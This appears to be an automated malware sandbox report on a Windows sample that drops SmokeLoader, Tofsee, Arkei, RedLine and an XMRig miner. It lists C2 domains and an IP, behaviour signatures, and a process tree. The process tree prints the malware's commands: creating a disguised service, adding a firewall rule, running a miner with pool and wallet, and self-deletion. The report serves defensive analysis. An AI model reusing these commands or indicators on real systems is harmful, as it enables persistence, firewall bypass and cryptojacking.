Analysis

  • max time kernel
    159s
  • max time network
    163s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    30/11/2021, 06:27

General

  • Target
    b90b75828aa3b232294d040b04ea50c3.exe
  • Size 160KB
  • Sample211130-g7rn6aeabl
  • SHA256 132f8fe2eddea46d71068849371df5c67cf22b9f3907b1d3dc29eee2f8a29532
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • redline

C2
  • 92.255.76.197:38637

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • CryptBot

    A C++ stealer distributed widely in bundle with other software.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b90b75828aa3b232294d040b04ea50c3.exe
    "C:\Users\Admin\AppData\Local\Temp\b90b75828aa3b232294d040b04ea50c3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Users\Admin\AppData\Local\Temp\b90b75828aa3b232294d040b04ea50c3.exe
      "C:\Users\Admin\AppData\Local\Temp\b90b75828aa3b232294d040b04ea50c3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:560
  • C:\Users\Admin\AppData\Local\Temp\9E33.exe
    C:\Users\Admin\AppData\Local\Temp\9E33.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rpepxyli\
      2⤵
        PID:1688
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\boxuvamz.exe" C:\Windows\SysWOW64\rpepxyli\
        2⤵
          PID:1200
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rpepxyli binPath= "C:\Windows\SysWOW64\rpepxyli\boxuvamz.exe /d\"C:\Users\Admin\AppData\Local\Temp\9E33.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:516
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rpepxyli "wifi internet conection"
            2⤵
              PID:892
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rpepxyli
              2⤵
                PID:1292
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1544
              • C:\Users\Admin\AppData\Local\Temp\AE3A.exe
                C:\Users\Admin\AppData\Local\Temp\AE3A.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1088
                • C:\Users\Admin\AppData\Local\Temp\AE3A.exe
                  C:\Users\Admin\AppData\Local\Temp\AE3A.exe
                  2⤵
                  • Executes dropped EXE
                  PID:316
              • C:\Users\Admin\AppData\Local\Temp\B59B.exe
                C:\Users\Admin\AppData\Local\Temp\B59B.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:1556
              • C:\Users\Admin\AppData\Local\Temp\BA6C.exe
                C:\Users\Admin\AppData\Local\Temp\BA6C.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1056
              • C:\Users\Admin\AppData\Local\Temp\C601.exe
                C:\Users\Admin\AppData\Local\Temp\C601.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:940
                • C:\Users\Admin\AppData\Local\Temp\C601.exe
                  C:\Users\Admin\AppData\Local\Temp\C601.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1584
              • C:\Windows\SysWOW64\rpepxyli\boxuvamz.exe
                C:\Windows\SysWOW64\rpepxyli\boxuvamz.exe /d"C:\Users\Admin\AppData\Local\Temp\9E33.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:840
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1776
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:736
              • C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                C:\Users\Admin\AppData\Local\Temp\D9F0.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Checks processor information in registry
                PID:968
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\hvIcfpKWIjId & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\D9F0.exe"
                  2⤵
                    PID:1424
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout 4
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1948
                • C:\Windows\system32\regsvr32.exe
                  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\ED32.dll
                  1⤵
                  • Loads dropped DLL
                  PID:928
                • C:\Users\Admin\AppData\Local\Temp\F82B.exe
                  C:\Users\Admin\AppData\Local\Temp\F82B.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1416

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      memory/316-118-0x0000000004B00000-0x0000000004B01000-memory.dmp

                      memory/316-99-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/316-98-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/316-95-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/316-97-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/316-96-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/316-109-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/560-57-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/560-59-0x0000000076351000-0x0000000076353000-memory.dmp

                      memory/736-146-0x0000000000230000-0x0000000000321000-memory.dmp

                      memory/736-147-0x0000000000230000-0x0000000000321000-memory.dmp

                      memory/840-129-0x0000000000400000-0x000000000322A000-memory.dmp

                      memory/840-122-0x000000000026B000-0x000000000027C000-memory.dmp

                      memory/928-133-0x000007FEFBBE1000-0x000007FEFBBE3000-memory.dmp

                      memory/940-111-0x0000000000220000-0x0000000000228000-memory.dmp

                      memory/968-117-0x00000000012E0000-0x00000000019C2000-memory.dmp

                      memory/968-119-0x00000000012E0000-0x00000000019C2000-memory.dmp

                      memory/968-121-0x00000000012E0000-0x00000000019C2000-memory.dmp

                      memory/968-120-0x00000000012E0000-0x00000000019C2000-memory.dmp

                      memory/1056-88-0x0000000000400000-0x0000000002B6E000-memory.dmp

                      memory/1056-86-0x00000000001B0000-0x00000000001C4000-memory.dmp

                      memory/1056-87-0x00000000001D0000-0x00000000001F1000-memory.dmp

                      memory/1088-76-0x0000000000430000-0x0000000000431000-memory.dmp

                      memory/1088-66-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                      memory/1212-113-0x0000000004370000-0x0000000004386000-memory.dmp

                      memory/1212-60-0x0000000002980000-0x0000000002996000-memory.dmp

                      memory/1416-143-0x00000000002C0000-0x00000000002C1000-memory.dmp

                      memory/1416-142-0x0000000004210000-0x0000000004211000-memory.dmp

                      memory/1416-139-0x0000000000230000-0x0000000000231000-memory.dmp

                      memory/1556-78-0x0000000000240000-0x0000000000249000-memory.dmp

                      memory/1556-77-0x00000000001B0000-0x00000000001B9000-memory.dmp

                      memory/1556-79-0x0000000000400000-0x000000000042C000-memory.dmp

                      memory/1776-124-0x00000000000C0000-0x00000000000D5000-memory.dmp

                      memory/1776-125-0x00000000000C0000-0x00000000000D5000-memory.dmp

                      memory/1924-56-0x0000000000230000-0x0000000000239000-memory.dmp

                      memory/1924-55-0x0000000000220000-0x0000000000229000-memory.dmp

                      memory/1988-75-0x0000000000400000-0x000000000322A000-memory.dmp

                      memory/1988-71-0x0000000000220000-0x0000000000233000-memory.dmp

                      memory/1988-68-0x000000000333B000-0x000000000334C000-memory.dmp